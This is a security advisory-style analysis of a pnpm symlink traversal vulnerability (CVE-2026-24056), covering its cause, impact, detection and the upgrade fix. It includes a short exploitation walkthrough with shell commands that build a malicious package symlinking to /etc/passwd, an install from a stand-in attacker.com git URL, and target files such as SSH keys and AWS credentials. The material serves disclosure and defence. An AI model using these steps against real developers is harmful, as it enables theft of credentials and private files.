CVE-2026-24056: 
JavaScript vulnerability analysis and mitigation

CVE-2026-24056 is a symlink traversal vulnerability in pnpm, a Node.js package manager, that allows arbitrary local file disclosure when installing file: or git: dependencies. When pnpm processes these dependency types, it follows symlinks without constraining resolution to the package root, enabling a malicious package to cause pnpm to copy sensitive host files into node_modules. All pnpm versions prior to 10.28.2 are affected; registry (npm) packages are not impacted as symlinks are stripped during publish. The vulnerability was published on January 26, 2026, with a CVSS v4 base score of 6.7 (Medium) (Github Advisory, pnpm Security Advisory).

The root cause is improper link resolution before file access (CWE-59) combined with path traversal (CWE-22), located in store/cafs/src/addFilesFromDir.ts. The vulnerable code uses fs.statSync() and fs.readFileSync() — both of which follow symlinks by default — without verifying that the resolved absolute path remains within the package root directory. An attacker crafts a malicious package containing a symlink pointing to an absolute path outside the package (e.g., /etc/passwd, ~/.ssh/id_rsa, ~/.aws/credentials), and when a victim runs pnpm add file:../evil or installs a malicious git dependency, pnpm reads and copies the symlink target's contents into node_modules. Exploitation requires user interaction (the victim must install the malicious dependency), and a public PoC is included in the advisory (pnpm Security Advisory, Patch Commit).

Successful exploitation results in high confidentiality impact — sensitive local files readable by the pnpm process are copied into node_modules and exposed to the attacker. Targeted files can include SSH private keys (~/.ssh/id_rsa), AWS credentials (~/.aws/credentials), npm authentication tokens (~/.npmrc), and system files such as /etc/passwd. There is no integrity or availability impact, but stolen credentials can enable lateral movement into cloud environments, source code repositories, or remote systems. CI/CD pipelines are particularly at risk, as they often hold elevated credentials and routinely install git-based dependencies (Github Advisory, pnpm Security Advisory).

A public proof-of-concept is included in the official security advisory, demonstrating the attack with a simple shell script. There is no evidence of in-the-wild exploitation or threat actor attribution at this time. The EPSS score is approximately 0.014% (3rd percentile), indicating low near-term exploitation probability. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Github Advisory).

1. Create a malicious package: On an attacker-controlled system or repository, create a directory (e.g., /tmp/evil) with a package.json and a symlink pointing to a sensitive file on the victim's system:

mkdir -p /tmp/evil && cd /tmp/evil
ln -s /etc/passwd leaked-passwd.txt
echo '{"name":"evil","version":"1.0.0","files":["*.txt"]}' > package.json

2. Distribute the malicious package: Host the package in a git repository or share it as a local directory path accessible to the victim (e.g., via a shared filesystem, social engineering, or a compromised dependency).
3. Victim installs the dependency: The victim runs pnpm add file:../evil (for a local path) or pnpm add git+https://attacker.com/evil.git (for a git dependency) in their project.
4. pnpm follows the symlink: During installation, pnpm's addFilesFromDir.ts calls fs.statSync() and fs.readFileSync() on the symlink target without bounds checking, reading the contents of the linked file (e.g., /etc/passwd).
5. Sensitive file contents land in node_modules: The target file's contents are copied to node_modules/evil/leaked-passwd.txt, accessible to the attacker if they control the package or can read the project directory.
6. Exfiltrate credentials: If the symlink targeted ~/.aws/credentials, ~/.ssh/id_rsa, or ~/.npmrc, the attacker uses the stolen credentials for further access to cloud infrastructure, remote servers, or package registries (pnpm Security Advisory).

• File System: Unexpected files in node_modules/<package-name>/ whose contents match sensitive system files (e.g., /etc/passwd format, PEM-encoded private keys, INI-format AWS credentials); symlinks within a file: or git: dependency directory pointing to absolute paths outside the package root.
• Logs: pnpm install logs referencing file: or git: dependencies from untrusted or unfamiliar sources; Node.js/pnpm process accessing files outside the project directory (detectable via auditd or similar file access monitoring).
• Process: pnpm or node processes performing readFileSync calls on paths such as /etc/passwd, ~/.ssh/id_rsa, ~/.aws/credentials, or ~/.npmrc during package installation (observable via strace, dtrace, or EDR file access telemetry).
• Network: Outbound connections from CI/CD systems to unexpected endpoints shortly after a pnpm install step, potentially indicating credential use following exfiltration (pnpm Security Advisory).

Upgrade pnpm to version 10.28.2 or later, which validates that symlinks within file: and git: dependencies resolve to paths inside the package root before reading them (using lstatSync to detect and skip out-of-bounds symlinks). No configuration-based workaround is available for older versions; the only remediation is upgrading. Organizations should prioritize updating pnpm in CI/CD environments, audit recent installs of file: and git: dependencies for suspicious symlinks, and review access controls on sensitive credential files. IBM API Connect users should consult the IBM advisories for product-specific guidance (pnpm Release v10.28.2, Patch Commit, IBM Advisory).

The vulnerability was reported by researcher mldangelo and published by pnpm maintainer Zoltan Kochan (zkochan) on January 26, 2026, with a patch released the same day. The release notes received positive community reactions on GitHub (16 reactions including thumbs up and heart emojis), reflecting appreciation for the rapid response. No significant media coverage or notable researcher commentary beyond the advisory itself has been identified (pnpm Release v10.28.2, Github Advisory).